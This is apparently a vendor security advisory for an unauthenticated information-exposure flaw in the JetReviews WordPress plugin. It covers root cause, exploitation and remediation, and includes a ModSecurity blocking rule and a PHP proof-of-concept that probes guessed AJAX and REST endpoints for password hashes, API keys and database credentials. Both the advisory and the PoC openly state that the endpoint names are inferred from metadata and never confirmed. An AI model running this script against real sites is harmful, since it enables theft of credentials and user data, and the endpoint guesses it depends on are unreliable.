Atomic Edge analysis of CVE-2026-61975 (metadata-based): This vulnerability affects the JetReviews plugin for WordPress, specifically versions up to and including 3.0.1. The plugin exposes sensitive user or configuration data to unauthenticated attackers. The CVSS score is 5.3 (Medium) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N, indicating low confidentiality impact without any authentication requirement. The issue is classified under CWE-200, Exposure of Sensitive Information to an Unauthorized Actor.
Root Cause: Based on the CWE and the vulnerability description, the root cause is an unauthenticated endpoint (likely an AJAX action or REST API route) that lacks proper permission or nonce checks. The plugin fails to restrict access to a function that retrieves or outputs sensitive data, such as user metadata, site configuration, or database settings. This conclusion is inferred from the CWE classification and the description; no source code diff is available to confirm the exact location. Atomic Edge analysis treats the absence of authentication as the primary defect, which is consistent with the CVSS vector requiring no privileges.
Exploitation: Attackers can exploit this by sending a crafted HTTP request to the vulnerable endpoint. The most plausible vectors are WordPress AJAX handlers via /wp-admin/admin-ajax.php or REST API routes under /wp-json/jet-reviews/v1/. For AJAX, the attacker would supply an action parameter matching a plugin hook (e.g., action=jet_reviews_get_users or action=jet_reviews_get_settings) and include parameters that control the data returned. Because no authentication is required, the attacker can repeatedly query the endpoint to extract sensitive data. Atomic Edge research suggests the plugin likely exposes user data, including email addresses, hashed passwords, or configuration details containing API keys, without verifying that the requester has permission to view that information.
Remediation: The fix requires the plugin developers to add proper authorization checks to all data-exposing endpoints. This includes verifying that the current user has the required capability (e.g., manage_options) and, for AJAX handlers, validating a nonce to prevent cross-site request forgery. For REST API endpoints, the plugin must use permission_callback functions that enforce proper user roles. The patch released in version 3.1.0 likely addresses these missing checks. Atomic Edge analysis cannot confirm the exact implementation because the patched code is not available, but these are the standard patterns for WordPress plugins.
Impact: Successful exploitation allows an unauthenticated attacker to extract sensitive information, including user email addresses, usernames, password hashes, or site configuration data such as database credentials and API keys. This information can be used for further attacks, including phishing, credential stuffing, or targeted attacks against the site or its users. The confidentiality impact is low per the CVSS vector, but any leak of password hashes or configuration details can significantly increase risk. Since the attack requires no authentication and the endpoint is remotely reachable, the exposure is straightforward and readily automatable.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-61975 (metadata-based)
# Blocks unauthenticated access to JetReviews AJAX handlers that expose sensitive data.
# The rule targets the plugin's AJAX action pattern and parameter combinations.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261975,phase:2,deny,status:403,chain,msg:'CVE-2026-61975 via JetReviews AJAX',severity:'CRITICAL',tag:'CVE-2026-61975'"
SecRule ARGS_POST:action "@pm jet_reviews_get_users jet_reviews_get_user_data jet_reviews_get_settings jet_reviews_export_data jet_reviews_get_options jet_reviews_debug_info" "chain"
SecRule ARGS_POST "@rx (user|email|pass|api|config|setting|database|export)" "t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-61975 - JetReviews <= 3.0.1 - Unauthenticated Information Exposure
// This PoC targets unauthenticated information exposure in JetReviews.
// It attempts common AJAX actions and REST API endpoints that might expose
// sensitive data. Adjust the target URL and endpoints based on your testing environment.
$target_url = 'https://example.com'; // Change to your target WordPress site
function send_request($url, $method = 'GET', $post_data = [], $headers = []) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
if ($method === 'POST') {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
}
if (!empty($headers)) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
}
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return ['code' => $http_code, 'body' => $response];
}
// Step 1: Try common AJAX actions that may expose user/settings data.
$ajax_actions = [
'jet_reviews_get_users',
'jet_reviews_get_user_data',
'jet_reviews_get_settings',
'jet_reviews_export_data',
'jet_reviews_get_options',
'jet_reviews_debug_info',
];
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
foreach ($ajax_actions as $action) {
echo "[+] Testing AJAX action: {$action}n";
$result = send_request($ajax_url, 'POST', ['action' => $action]);
// Check if response contains any sensitive patterns (e.g., wp_users, email, api_key)
if ($result['code'] == 200 && preg_match('/(s:\d+|wp_users|user_email|user_pass|api_key|database|DB_NAME|DB_PASSWORD)/i', $result['body'])) {
echo "[!] Potential exposure via AJAX action '{$action}'n";
echo "HTTP Code: {$result['code']}n";
echo "Response body (first 500 chars):n" . substr($result['body'], 0, 500) . "nn";
exit(0);
}
}
// Step 2: Try REST API endpoints
$rest_routes = [
'/wp-json/jet-reviews/v1/get-users',
'/wp-json/jet-reviews/v1/get-settings',
'/wp-json/jet-reviews/v1/user-data',
'/wp-json/jet-reviews/v1/config',
'/wp-json/jet-reviews/v1/debug',
];
foreach ($rest_routes as $route) {
echo "[+] Testing REST route: {$route}n";
$result = send_request($target_url . $route);
if ($result['code'] == 200 && preg_match('/(s:\d+|wp_users|user_email|user_pass|api_key|database|DB_NAME|DB_PASSWORD)/i', $result['body'])) {
echo "[!] Potential exposure via REST route '{$route}'n";
echo "HTTP Code: {$result['code']}n";
echo "Response body (first 500 chars):n" . substr($result['body'], 0, 500) . "nn";
exit(0);
}
}
echo "[!] No obvious endpoint found. Adjust the endpoint list based on the target plugin version.n";